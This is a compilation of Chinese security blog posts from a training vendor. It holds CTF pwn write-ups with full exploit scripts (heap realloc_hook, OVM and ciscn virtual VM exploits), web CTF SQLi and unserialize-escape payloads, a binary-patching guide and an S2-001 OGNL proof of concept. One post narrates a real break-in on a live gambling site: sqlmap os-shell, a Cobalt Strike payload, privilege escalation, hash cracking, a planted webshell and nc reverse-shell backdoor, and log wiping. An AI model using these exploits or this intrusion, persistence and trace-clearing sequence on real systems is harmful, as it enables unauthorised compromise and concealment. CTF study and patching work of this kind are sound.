通过 realloc_hook 调整栈帧使 onegadget 生效
在某些堆的题目当中,由于限制只能使用 house of spirit 等方法劫持 malloc_hook ,这种情况一般是往 malloc_hook 写入 onegadget ,再次申请堆来 getshell 。
由于栈帧情况不满足,查询到的所有 onegadget 可能都打不通,这时就可以考虑下用 malloc_hook 和 realloc_hook 结合。先通过 realloc 调整栈帧,然后在运行 onegadget 。
了解realloc
realloc 在库函数中的作用是重新调整 malloc 或 calloc 所分配的堆大小。它和 malloc 函数一样有 hook 函数,当 hook 函数不为空时,就会跳转运行 hook 函数(和 malloc_hook 一样的)。
看看 realloc 的汇编代码:(可以把 libc 拖到 ida 中看,也可以泄露地址后 gdb 调试查看 x /20i [addr])
函数一开始有很多的 push ,realloc 函数先执行 push 压栈,然后在跳转执行 realloc_hook 存储的函数。我们就是利用这些 push 调整栈帧。push 的数量发生变化会影响 rsp 的地址,这样就可以控制 rsp 的取值,从而满足 onegadget 的执行条件。除了可以控制 push 数量,还能通过偏移得到其他的 push xxx 。
malloc_hook 与 realloc_hook 配合
将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget ,实际运行顺序:
这样就能经过 realloc 调整栈帧后再运行 onegadget 。实际情况中,并不是直接劫持 malloc_hook 为 realloc ,而是要加上一定的偏移,也就是调整 push 的数量,让栈帧结构满足 onegadget 运行。
realloc 这个偏移做题还是逐个试感觉快一点,因为设想是少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38] ,但实际上有少部分位置可能被其他东西写入改变了原来的值。自行调试体会一下:
原理上是:少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38],但实际部分位置的值会变,所以逐个试,速度可能比计算快。
例题
[V&N2020 公开赛]simpleHeap
基本功能
一个基本的堆管理器,有增删查改功能。各项功能都是基于下标序号定位操作,上限为10个堆,大小为大于 0 、小于等于 0x6f 。没有结构体,基于两个列表存储堆信息。
漏洞
在修改函数里,调用函数 sub_C39 完成对堆信息的修改。传入的参数如下:
在处理边界问题时,错误使用判断条件,导致溢出 1 字节,正确应该if(i>=size),具体逻辑如下:
思路
使用 off by one 伪造 chunk size,造成 chunk extend ,再利用 unsorted bin 的特点,泄露出 unsorted bin fd 指针的 libc 地址。
将上一步中的 chunk extend 剩下在 bin 中的内存申请出来,造成两个指针指向同一个地址,配合 edit 功能实现 houst of spirit ,劫持 __malloc_hook 。
实际测试后全部 onegadget 因为栈环境问题都无法打通,需要结合 malloc_hook 、 realloc_hook 调整栈环境才能打通。
溢出修改 chunk size 造成 chunk extend ,chunk0 用于溢出 chunk1 ,chunk2 用于读取 unsorted bin fd 指针,chunk3 防止 fake chunk 与 topchunk 合并。溢出 size 是经过计算符合 house of spirit 要求:
泄露 libc 地址后,将 bin 中剩余内存申请出来,该指针与 chunk2 指向相同地址,任选其一释放,再用另外一个修改 fastbin fd 指针:
正常来说将 malloc_hook 劫持为 onegadget 即可,但是测试发现这条题目的栈环境不满足全部 onegadget 条件,这就需要调整阵结构,使 onegadget 生效。需要配合使用 realloc_hook 和 malloc_hook。
将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget 。然后通过多次尝试确定偏移为 12 。
EXP
roarctf_2019_easy_pwn
基本功能
一个堆管理器,有增删查改功能。所有功能都是基于列表的下标定位操作对象。用 3 个列表维护堆:chunk_inuse、chunk_size、chunk_ptr。
漏洞
在 edit 功能里面 sub_E26 函数,这个函数用来处理输入长度的,具体代码如下:
当我们要求写入的长度(input_length)大于堆 size 10 个字节时,就可以写入 size + 1 字节,造成 off by one 。
思路
这条题目和 [V&N2020 公开赛]simpleHeap思路一样。
使用 off by one 伪造 chunk size,造成 chunk extend ,再利用 unsorted bin 的特点,泄露出 unsorted bin fd 指针的 libc 地址。
将上一步中的 chunk extend 剩下在 bin 中的内存申请出来,造成两个指针指向同一个地址,配合 edit 功能实现 houst of spirit ,劫持 __malloc_hook 。
实际测试后全部 onegadget 因为栈环境问题都无法打通,需要结合 malloc_hook 、 realloc_hook 调整栈环境才能打通。
EXP
相关实验推荐--https://www.yijinglab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde&pk_campaign=heetian-wemedia
对ciscn final的web的小解析
1 Web
输入1点击输入框后会显示如下参数:
看下源码能得到这么两句sql语句:
会发现左右过滤不相同,尝试如下可以把limit语句注释掉:
此时sql语句变成:
空格被过滤了,可以考虑\t或\n来绕过,因此输入如下会发现语句执行成功:
or 1=1发现等于号被过滤,fuzz一下能得到部分可用函数,且左边没有过滤减号:
过滤逗号可以采用from(1)for(1)的形式来绕过。
盲注脚本:
2 Web2
比赛没咋看这个题,源码只存了个app.js跑不起来就没复现,大概看了一下是原型链污染。
player是一个字典,注意到:
因为monster也是一个字典,且存在hp,并且我们是先攻击怪兽,因此我们污染buff的话就可以一刀秒了boss,然后就是用这一个循环进行污染:
传入:
那么就会把玩家的buff污染为1000,那么看到伤害的计算:
攻击+buff,也就是说这里就可以让玩家攻击无限大直接秒了boss了。
本地测试可以发现如下:
打败boss即可getflag。
3 Web3
Web3其实考了两个点一个是反序列化逃逸,一个是反序列化串中的s替换为S时可以把字符串用16进制表示,个人感觉这个题其实就是0ctfpiapiapia+强网杯2020的web辅助。
wwwroot.zip源码泄露。
给了一个user类,逃逸点在于:
至于从哪里进行序列化串的传入,看到:
先说我们传入的虽然是一个数组, 但因为waf处如果我们传入一个flag,就会被替换为index,此时长度差为1。
在这里会把我们的序列化串waf后再反序列化,我们利用它可以逃逸出来一个user对象。
waf的话可以使用s替换为S以此使用16进制来表示flag.php来绕过,这一个过滤限制了我们只能使用old_password字段,否则的话可以采用gopher替换为index来吃掉部分序列化串。
需要伪造的序列化串为这么一串东西,长度为196,所以这里需要196个flag替换为index:
本地模拟一下过waf会发现这里长度980其实就是index的长度总和:
那么余下的序列化串理所当然就逃逸出去了。
update_username=1&old_password=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagf
当然了如果没有前面对字段的格式过滤,也可以采用如下的payload:
update_username=1&old_password=1&update_password=1&updat
一次文件上传,我的网站被拿下了服务器控制权
导语
高一,因为网站被别人黑了,于是开始接触网络安全.....
大家好,我叫Yeuoly,今年高中毕业,准大一新生。
接触网安,还是因为我高一的时候,自己搭建了一个网站,我朋友给我网站的服务器上传了个这样的PHP文件,两分钟就拿下了我服务器的控制权。
也是这以后,我开始重视安全问题,但是当时完全没有方向,仅仅是因为遇到了问题就去学,印象深刻的是我学习XSS的时候,当时花了一天半左右的时间才搞明白什么是XSS,而当我转头一看,我的网站早就被我那个朋友XSS了,甚至还在数据库里留下了到此一游的记录。发现自学的效率实在不高。但当时重心还是在高考,这个只是兴趣学习。
直到高考毕业后我发现,十个人填志愿七个选计算机专业,就算第一年不是第二年也会想方设法转去计院,而现在的计算机行业也越来越难找工作,想着计算机市场后面肯定会饱和,又了解到网安专业缺人的现状与高待遇,我个人认为网安今后肯定是个非常好的发展方向,于是想系统学习网安这块,自己也尝试去找过一些大佬推荐的学习路线学习,但是大佬们列出的学习路线也是各不相同,不知道哪条适合自己,自己的自学能力又远不如tk教主那些大佬。
很偶然的机会,在B站看到了蚁景的培训课程,为了看这个课程靠不靠谱,我几乎翻完了蚁景B站账号的所有发言记录和网安实验室与腾讯课堂的评论区,又听了胖白老师的公开课,发现公开课内容很足,老师讲课也幽默风趣,然后就咨询了班主任,了解到学习周期不长、在线直播上课,还有学员间的SRC经验分享,学费也不算很贵,所以就报名了。
2
高考完第二天,我就报名了蚁景的《Web安全0基础到精通》的课程,但开课那几天刚好去了上海,落下了一些课,后来为了赶上进度,经常学到半夜,遇到不懂的问题,也经常半夜请教老师,这也是我报名这次课最大的收获之一,几个老师都非常耐心,能学到非常多东西,而且他们还都是dalao,想象一下,曾经遥不可及的那些人,现在你可以随便打扰,这大概就是我的感受。
课程学到快一半的时候,我就开始尝试用老师教授的知识去各大SRC平台挖洞,开始挖洞总是不会很顺利的,一堆没有通过的漏洞。
但后面,尝试了多次之后,效果也是很明显的,下面是我第一次通过的一个1K的漏洞,通过时的喜悦是不言而喻的。后面陆陆续续也挖到了些大大小小的漏洞,目前我在8月BILISRC排名第一,全年排名十二。
当然,我只是介绍我自己的入门之路,我深知还有很多大佬比我厉害得多得多得多,越学到后面就发现自己的知识储备太少了,还需要沉下心来不断的充电学习,但是学习的方向很明确了,也算是双脚踏进了网安之门。
3
课堂上的学习能让我们了解新的知识,老师给我们指引方向,但如果想要更快的进步,更多的需要课后的练习,自己日复一日的积累。没有哪个行业是容易的,网安也是如此。尽管Web安全的课程结束了,但我依然坚持拓展,学习的过程是繁琐和痛苦的,但只要肯用心学习,能静下心,结果总会是美好的。感谢曾经2个多月前自己的选择,让我更明确网安的学习方向和坚定选择网安的决心。
Pwn之简单patch
亲爱的,关注我吧
文章共计1389个词
图片xue微有点多
注意流量哦
预计阅读7分钟
来和我一起阅读吧
≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈
1 引言
在攻防的时候不仅仅需要break,还需要fix将漏洞patch上。
2 工具
这里我使用的是keypatch这个ida脚本
下载地址:https://github.com/keystone-engine/keypatch/blob/master/keypatch.py
3 栈溢出的patch
漏洞原理
由于输入函数的输入长度超过了局部变量所开辟的空间,因此使得输入能够覆盖到返回地址
patch
简单了解原理之后,我们可以知道,栈溢出起始就是输入的长度过大,那么我们将输入长度修改到局部变量开辟空间的范围内即可
例子
32为情况下
我们可以看到,buf距离ebp(栈底)距离0x28,但是输入却能够输入0x100,很明显的栈溢出漏洞
可以看到这里参数为0x100,因为32位程序是通过栈传参的。
再装好keypatch之后,会在Edit选项栏中出现keypatch的选项,接着选中参数0x100,点击patch
将长度改成小于0x28即可,这里需要注意输入长度要为16进制。这里输入输入3个nop指令是因为这条指令本身Size为5,然后push 0x20为2,因此需要填充三个nop与原本的Size一致。
修改完毕后,保存即可
64位情况下
我们知道64位下是通过寄存器传参数的,因此我们再找长度的参数时,找到相应的寄存器即可
例如read函数的长度参数是通过rdx(edx)传入的,找到相应的寄存器按照上面方法修改即可。
4 格式化字符串的patch
漏洞原理
格式化字符串的漏洞是因为,程序中存在着格式化字符串输出函数,典型的printf,但是printf,只有格式化字符串参数,而没有后续的参数一,参数二,并且格式化字符串参数由我们所控制,从而导致了任意地址读写的漏洞触发。
例子
题目中存在着典型的格式化字符串漏洞,那么修改漏洞有几种方法,例如将printf函数修改为puts函数或者添加%s的参数。
方法一
若程序中即存在printf函数,又存在puts函数,那么我们可以将printf函数修改为puts函数
我们找到puts函数的plt表地址,因为puts函数也是带一个参数,并且puts函数与printf函数的plt表地址长度一致,因此直接修改不会造成程序down掉
修改成puts函数的地址
修改成功后的效果,但是puts函数与printf函数还是有一点点区别的,因为puts函数是自动在输出的字符串尾部加入一个回车符,在有些比赛的check脚本中是通过比较两次输入与输出是否全等,就会导致这种patch方法不能过关。
方法二
加入一个%s参数
可以看到除了传递格式化字符串参数以为,程序还存在mov eax,0,我们可以利用该指令修改,但是想要修改为%s还有一个问题,程序中不存在%s这个字符,就需要我们手动添加进去
我们可以在.eh_frame这个段中填入%s这个字符串,这个段中的信息不会影响程序的正常运行。
记住填入的地址0x400c01
mov edi, offset 0x400c01;
mov rsi,offset format;
完成参数修改
修改完成
堆之uaf漏洞
堆中较为常见的漏洞use after free
漏洞原理
由于堆块释放后没有给指针置空,使得被释放的堆块能够被修改或者重复使用,导致漏洞
例子
free完之后没有将指针置空,很明显的uaf漏洞,想要修补uaf漏洞,则将free之后的指针置空即可
可以看到在调用完free之后,没有多少空间可以写下新的汇编代码,因此需要与上一个方法一致,跳转到.eh_frame段上
将call free指令修改为跳转指令,在.eh_frame段上写汇编代码
call 0x900; #调用free函数
mov eax, [rbp-0xc]; #取出下标值
cdqe;
lea rdx, ds:0[rax*8];
lea rax, qword ptr [heap];
mov r8,0; #段地址不能直接赋予立即数
mov [rdx+rax],r8;
jmp 0xD56;
patch效果
5 总结
对于栈溢出来说,patch比较简单,只需要修改输入长度即可
对于格式化字符串漏洞来说,若有puts函数则将printf函数修改为puts函数,若没有则在.eh_frame段上创造%s
对于堆的uaf来说,漏洞patch思路很简单,只需要将指针置空即可,但是需要了解汇编代码。
6 参考文章
https://xz.aliyun.com/t/58687 相关实验--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014103116591300001&pk_campaign=heetian-wemedia
PWN是CTF竞赛中的主要题型之一,主要考查参赛选手的逆向分析、漏洞挖掘以及Exploit编写能力。通过由浅入深的方式,一步一步讲解栈溢出攻击原理与实践,同时详细介绍了Linux下GDB调试器的基本使用方法。
某菠菜网站渗透实战
文章共计1769个词
预计阅读7分钟
来和我一起阅读吧
≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈
1前言
最近听说用某棋牌产品建的站存在SQL注入,刚好别人发来一个
渗透惯用套路一把梭
信息收集 -> 漏洞探测/利用 -> 提权/权限维持 -> 清理痕迹
2 信息收集
浏览器访问主页初步发现
系统:Windows server中间件 IIS7.5语言:ASPX
端口扫描
nmap -sV -T4 -p- 11x.xx.xxx.xx
开放的端口真不少其中web服务的有几个:80(当前主页)、81、82、88、4700181:是这个棋牌站的后台82:也是个后台,不知道是什么系统的后台,有验证码88/47001:访问失败
1433:数据库 mssql
还开了 139、445 但是被过滤了,不知道是不是有防火墙,后面再看
敏感目录扫描
先用 Dirsearch 过一遍,前面搜集到网站语言是 aspx,加上 -e 指定语言
python dirsearch.py -u http://11x.xx.xxx.xx -e aspx
再用 7kbscan 过一遍,毕竟这里面收集的都是国人常用的字典
/m/ 是用户注册页面,可能有用,先记着
/test.html是调起微信的入口,没啥用,可能是在手机端引导受害者聊天的吧
查IP
北京某个运营商的服务器,菠菜在国内服务器建站挺大胆的
信息整理
估计就是个人建的小站,不去展开收集更过的东西了,免得打偏浪费时间
3 漏洞探测
重点先放在前面找到的 81 端口,也就是网站的后台管理页面
没有验证码,用户名 / 密码随便写个 admin / admin,抓包
用户名加了个引号发送请求直接返回报错了,不出意外应该会有报错注入或者盲注啥的
兵分两路
一路把这个数据包保存到本地 qipai.txt,用 sqlmap 去扫,前面已经知道是 mssql 数据库,加上 --dbms 参数指定数据库类型节约时间
python sqlmap.py -r qipai.txt --dbms "Microsoft SQL Server" --dbs
另一路,把数据包发送到 intruder 模块去爆破密码,尝试了在浏览器随便输入用户名,提示 "用户名不存在",输入 admin 的时候提示 "用户名或密码错误",说明 admin 账户是存在的,只爆破密码就行
爆出密码 888999,弱口令,永远滴神!
成功登录后台
只有 69 个注册用户,剩下的全是机器人,这 69 个用户冲了 143 万?玩棋牌的都这么有钱吗,我欢乐斗地主都舍不得冲 6 块首充
赌博沾不得呀,这个老哥一天输了 2800
在后台翻了半天没找到上传点,先放着
回到另一路 sqlmap 看看,确定存在注入,已经在慢慢跑库名了
跑出 16 个库,根据名字猜 RYPlatformManagerDB 库可能存着管理员的相关信息
跑表名
python sqlmap.py -r qipai.txt --tables -D RYPlatformManagerDB
翻了半天就找到一个管理员的账号密码,就是前面 bp 爆破出来的那个,还有一些用户的信息,没啥更有价值的
python sqlmap.py -r qipai.txt --is-dba
是 DBA 权限,尝试拿 shell,mssql 数据库直接用 sqlmap 爆破路径就行了
python sqlmap.py -r qipai.txt --os-shell
用的盲注,时间较慢,经过漫长的等待终于成功拿 shell,渗透呐,表面上是个技术活,实际上是个体力活
当前用户权限很小,只是个 mssql 数据库权限
Systeminfo 查看一下系统信息,可以看到系统是 64 位的 Windows server 2008
Cobaltstrike 生成攻击载荷,再目标机器上用 powershell 加载,目标机器成功上线
net user 查看用户
tasklist 查看进程,应该没有装杀软
net start 查看已开启的服务,可以看到防火墙是开启的,所以前面 nmap 扫描 445 等端口被过滤
关闭防火墙,额还没提权
4 提权/维权
前面得知这个机器是 windows server 2008,尝试用土豆提权(MS16-075)
执行后稍等了一会儿,比较幸运,这个机器没打补丁,一次就提权成功,拿到 system 权限,开始为所欲为
进入文件管理,能看到前面信息收集时的 test.html 文件
netstat -ano 看一下端口开放情况,3389 没有开
手动开启一下
可以访问远程桌面了
cobaltstrike 操作我不是很熟练,还是用 metasploite 吧,通过 cs 上传一个 msf 生成的马,msf 开启监听
注:cs 可以直接派生 shell 给 msf,但是当时我尝试的老半天 msf 一直没有返回 session,所以才无奈先手动上传一个 msf 的马曲线救国
msf 开启监听
在 cs 上运行上传的马
msf 成功拿到 shell,是继承的 system 权限
查看密码哈希,不能获取,因为msf的这个马是32位的,系统是64位的
ps 查看进程,在进程中找一个以 system 权限运行的 64 位的程序,迁移进程后再获取哈希
到在线破解哈希的网站查一下 administrator 的密码,密码不算复杂,几秒钟就查到了
成功登录远程桌面
留两个后门,一个webshell,一个开机自启的nc用来反弹shell
5 清理痕迹/撤退
meterpreter 的 clearv 命令一键清除
或者手动删除 Windows 日志
6 总结
7 实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915533100001&pk_campaign=heetian-wemedia
通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。
8 声明
本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与蚁景科技及原作者无关。
vm-pwn入门
文章共计2761个词
预计阅读7分钟
来和我一起阅读吧
≈≈≈≈≈≈≈≈≈≈≈≈≈≈
引言
之前一直没去了解过vm-pwn,做一些题目对vm-pwn进行一个大体上的了解,算是入门。
前置知识
1.对指令有过了解
2.有耐心(感觉vm程序的代码量有点大)
[OGeek2019 Final]OVM
检测保护
canary没开启
ida分析
main函数
fetch函数
fetch函数较为简单,即取出pc值,以pc值作为下标返回指定的指令
execute函数
可以看到指令是由几个部分组成的,其实execute函数就是一个指令表,我们通过指令表输入相应的指令就可以完成相应的操作。
指令表
操作码|操作数1|操作数2|操作数3
op |num1 |num2 |num3
---------------------------
操作码
0x70: reg[num1] = reg[num3]+reg[num2] | add指令
0xB0: reg[num1] = reg[num3]^reg[num2] | 异或指令
0xD0: reg[num1] = reg[num2]>>reg[num3] | 右移指令
0xFF: 若reg[13]为0,则退出,否则打印指令集
0xC0: reg[num1] = reg[num2] << reg[num3] | 左移指令
0x90: reg[num1] = reg[num3] & reg[num2] |与指令
0xA0: reg[num1] = reg[num3] | reg[num2] |或指令
0x80: reg[num1] = reg[num2] - reg[num3] | sub指令
0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令
0x50: stack[op] = reg[num1] | push指令
0x60: reg[num1] = stack[reg[13]] | pop指令
0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令
0x10: reg[num1] = v2(最低位) | set指令
0x20: reg[num1] = v2 ==0
其中漏洞点在于两条指令,由于数组的下标没有进行限制,则会产生数组越界的情况。则造成了任意地址写和任意地址读的情况。
0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令 //任意地址读
0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令 //任意地址写
采用movsxd指令进行下标的转移,movsxd是进行符号填充再进行转移,即数组的下标是有符号数。
可以看到用于保存指令的memory以及用于寄存器存储的reg的地址都比got表的地址大,那么大数组的下标为负数时,即可越界读取got表内的地址,完成基地址的泄露
思路
●首先程序再结束时,会往comment[0]的内容作为地址写入,然后将comment[0]给free掉,那么可以将comment[0]的内容修改为free_hook-4,此时可以将free_hook-4修改为/bin/sh\x00,free_hook修改为system从而获得shell
●由于需要将commnet[0]修改为free_hook-4,那么首先需要泄露libc_base的地址,由于读取操作没有对下标进行限制,因此进行任意地址读,读取got表项的内容,泄露libc的地址
●将读取得到libc地址,利用指令表的算数运算求得free_hook-4的地址,利用写操作没有对下标进行限制,进行任意地址写,往comment[0]内写入free_hook-4的地址
#step1 读取got表项内容
0x100a0001, #set指令,将r10设置为1
0x100b0009, #set指令,将r11设置为9
0xc00a0a0b, #左移指令,r10为1<<9=0x200
0x10010001, #set 将r1设置为1
0x10020006, #set 将r2设置为6
0xc0030102, #左移 r3=1<<6=0x40
0x10010004, #set r1=4
0x10000006, #set r0=6
0x70030301, #add r3=0x40+4=0x44
0x80040003, #sub r4=6-0x44=-0x3e,got表项
0x30050004, #read 将got表项内容读到r5,这里注意一次只能读取4个字节,因此还要在读一次
0x7004040d,#将下标+1
0x30060004,#读取剩下的4个字节
解释一下-0x3e,我们找到需要泄露的got表项的地址,与memory地址相减,然后要除以4,因为这个值为数组的下标,而数组的大小为int型,因此要除以4,即可求出目标地址的下标值
#step2 往commnet[0]写入
由于以及泄露出got表现的地址,该地址与free_hook-4的地址相对偏移是不变的,因此就需要利用指令表的指令进行算数运算求出free_hook-4的地址即可,接着再次利用数组越界将free_hook-4写入comment[0]即可
0x10000003,
0x1001000f,
0xc0000001,
0x10010005,
0xc0000001,
0x10020004,
0x1001000f,
0xc0020201,
0x10010001,
0xc0020201,
0x70000002,
0x1001000c,
0x10020002,
0xc0020201,
0x70000002,
0x10010008,
0x10020002,
0xc0020201,
0x70000002,
0x10010004,
0x1002000b,
0xc0020201,
0x70000002,
0x70050500,
0x10000000,
0x10010008,
0x80000001,#计算出comment[0]的下标
0x40050000,#将free_hook-4的低四字节写进comment[0]
0x10010001,
0x70000001,
0x40060000,#写入剩余的4个字节
0xff000000 #打印寄存器内容
完整exp
from pwn import *
libc = ELF("libc.so.6")
context(arch='amd64',os='linux')
sh = process("./pwn")
#sh = remote("node3.buuoj.cn",26699)
free_hook = libc.symbols['__free_hook']
print 'free_hook:'+hex(free_hook)
code = [
0x100a0001, #set指令,将r10设置为1
0x100b0009, #set指令,将r11设置为9
0xc00a0a0b, #左移指令,r10为1<<9=0x200
0x10010001, #set 将r1设置为1
0x10020006, #set 将r2设置为6
0xc0030102, #左移 r3=1<<6=0x40
0x10010004, #set r1=4
0x10000006, #set r0=6
0x70030301, #add r3=0x40+4=0x44
0x80040003, #sub r4=6-0x44=-0x3e,got表项
0x30050004, #read 将got表项内容读到r5,这里注意一次只能读取4个字节,因此还要在读一次
0x7004040d,#将下标+1
0x30060004,#读取剩下的4个字节
0x10000003,
0x1001000f,
0xc0000001,
0x10010005,
0xc0000001,
0x10020004,
0x1001000f,
0xc0020201,
0x10010001,
0xc0020201,
0x70000002,
0x1001000c,
0x10020002,
0xc0020201,
0x70000002,
0x10010008,
0x10020002,
0xc0020201,
0x70000002,
0x10010004,
0x1002000b,
0xc0020201,
0x70000002,
0x70050500,
0x10000000,
0x10010008,
0x80000001,#计算出comment[0]的下标
0x40050000,#将free_hook-4的低四字节写进comment[0]
0x10010001,
0x70000001,
0x40060000,#写入剩余的4个字节
0xff000000 #打印寄存器内容
]
sh.recvuntil("PC:")
sh.sendline(str(0))
sh.recvuntil("SP:")
sh.sendline(str(1))
sh.recvuntil("CODE SIZE:")
sh.sendline(str(len(code)))
sh.recvuntil("CODE: ")
for i in code:
sleep(0.1)
sh.sendline(str(i))
sh.recvuntil("R5: ")
addr1 = sh.recv(8)
print 'addr1:'+addr1
sh.recvuntil("R6: ")
addr2 = sh.recv(4)
print 'addr2:'+addr2
addr = int('0x'+addr2+addr1,16)
print 'addr:'+hex(addr)
libc_base = addr - 0x3c67a0
system = libc_base + libc.symbols['system']
print 'system:'+hex(system)
sh.recvuntil("OVM?")
payload = '/bin/sh\x00'+p64(system)
attach(sh)
sh.send(payload)
sh.interactive()
ciscn_2019_qual_virtual
检测保护
ida分析
main函数
程序开始开辟了三个空间,用于存放指令,数据,以及用于操作的数据空间。
指令表
指令间是通过分隔符执行分隔的,分隔符有 \n\r\t存进了名为delim的变量,strtok是根据分隔符将字符串分割出来,就是为了区分我们输入的指令。指令是采用字符串进行输入的。
execute
在执行指令的函数里,具体的指令操作没有反编译出来,我们需要动态调试将指令具体的操作的函数偏移调试出来。
将断点断在跳转时,因为rax是通过动态赋值的,因此ida不能分析出具体跳转的函数
进入gdb进行动态调试
输入你需要查找的指令
查看此时rax的值
在ida内,G键输入跳转,输入rax的值
可以发现这里会调用一个函数,这个函数就是save指令的操作,其余指令的操作也可以这样调试出来,就不一一演示了。
save
save函数就是从运行栈的栈顶中取出两个值,一个值作为下标,另一个作为值进行赋值,很显然是一个任意地址写的功能,因为下标的值没有进行限制,因此存在一个数组越界。
load
存在一个任意地址写,按照套路,就应该存在一个任意地址读,我们来看下load函数,load函数就是从运行栈的栈顶取出一个值作为下标,并且将该下标的值存入运行栈中,位于运行栈的栈顶。通用存在数组越界
思路
程序没有开启got表的保护,可以修改puts函数的got表项为system
通过load函数的数组越界漏洞读取libc的值
通过save函数的数组越界漏洞将system写入puts函数的got表项
在执行puts(s)时触发system
完整exp
from pwn import *
libc = ELF("libc.so.6")
#sh = process("./pwn")
sh = remote("node3.buuoj.cn",26845)
puts_got = 0x404020
sh.recvuntil("name:")
sh.sendline("/bin/sh\x00")
sh.recvuntil("instruction:")
payload= 'push push load push sub div load push add '
payload+= 'push push load push sub div save '
sh.sendline(payload)
sh.recvuntil("data:")
payload = str(8)+' '
payload += str(-4)+' '
payload += str(puts_got+8)+' '
payload += str(-0x2a300)+' '
payload += str(8)+' '
payload += str(-5)+' '
payload += str(puts_got+8)+' '
#attach(sh)
sh.sendline(payload)
sh.interactive()
实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014103116591300001&pk_campaign=heetian-wemedia
Java-Web之s2-001与CommonsCollections
本文源自我个人入坑Java-Web安全的一点小经验,献给那些看得懂java代码但不知道从哪里入手代审的师傅们:)
Struts2之s2-001
环境配置
说说环境配置的问题,大多数人对漏洞复现的恐惧感还是来自于环境的配置,也许配了大半天的环境后只花几分钟就把漏洞复现了,感觉有点得不偿失,环境配置过程又是因各人电脑问题有着五花八门的问题,因此有时候会找不到问题出在哪。
虽说有现成的vulhub,但有些没有被收录在内的洞我们想复现时就需要自己搭环境了;并且有个好处就是我们可以下断点慢慢试分析漏洞的原理而不是只会用poc。
需要列表:
◆ jdk1.8
◆ tomcat
◆ Struts2
◆ idea
一:jdk
最好就是用1.8,高低版本可能都会各种水土不服的情况(除了漏洞版本就是需要高低版本的条件)。
二:tomcat
tomcat配置其实很简单,笔者这里使用的是macos环境,直接上官网找对应版本即可,除非tomcat漏洞,否则通常来说哪个版本应该都是可以的。
下载下来后到bin目录下两行命令启动:
chmod +x *.sh
./startup.sh
关闭则是运行:
./shutdown.sh
启动后默认在本机8080端口会启动一个服务,访问后得到该页面表示成功:
三:ide
我选择idea,下面讲讲idea配置tomcat。
找到偏好设置之后搜索server,如下图找到application servers,选择+号新增一个tomcat服务器。
在弹出的页面中的tomcat home路径选择为bin的上级路径也就是我们tomcat的根目录即可。
四:struts2
我这里选择使用vulhub内的war包进行部署,说说war包部署的方法。
通常war包我们只需要复制到tomcat的webapps下启动tomcat就会自动解包,我们这里可以把war包解压之后用idea打开该项目,之后add configurations添加一个tomcat服务器,如下:
然后在deployment选项下把我们项目添加进去即可开启我们愉快的debug了。
我们把lib里面的jar包都选择add to library,然后随意点进去一个类如果maven能够找到源码即可直接download,否则我们就需要自己下载源码然后点击choose source选择源码。
利用
在分析前我们看看poc:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
我们在输入后会显示出结果为:
tomcatBinDir{/Users/hhhm/Downloads/apache-tomcat-7.0.105/bin}
最简单的poc:
%{1+1}
输出2.
分析
先从漏洞原理分析以便于我们的断点:
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html我们运行项目会发现是一个登陆框,并且结合介绍我们就能够知道可以在如下图处下断点:
我们知道输入后一旦经过漏洞处,那么我们的页面就会有回显,最好的办法就是一直盯着页面一边debug,我习惯是用f8看,一旦运行到了对应的代码页面就会有回显,此时就在该位置下一个断点,然后下次就继续从断点处用f7进入。
一整套下来要花不少时间,漏洞比较久了,网上的文章分析够多了,因此我们直接看到:
//TextParseUtil/translateVariables
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
在这里下个断点,看看调试后的结果:
这是调试到某个循环时出现的结果,那么我们继续调试,直接这里慢慢f8,再一次循环后会发现我们外面的花括号去掉了:
我们会发现其流程是这样的:
%{password}->%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
->tomcatBinDir{/Users/hhhm/Downloads/apache-tomcat-7.0.105/bin}
我们在表单中输入的password字段会先生成为%{password},然后再解析该表达式得到我们输入的值,也就是说他在解析完password后得到的值为:
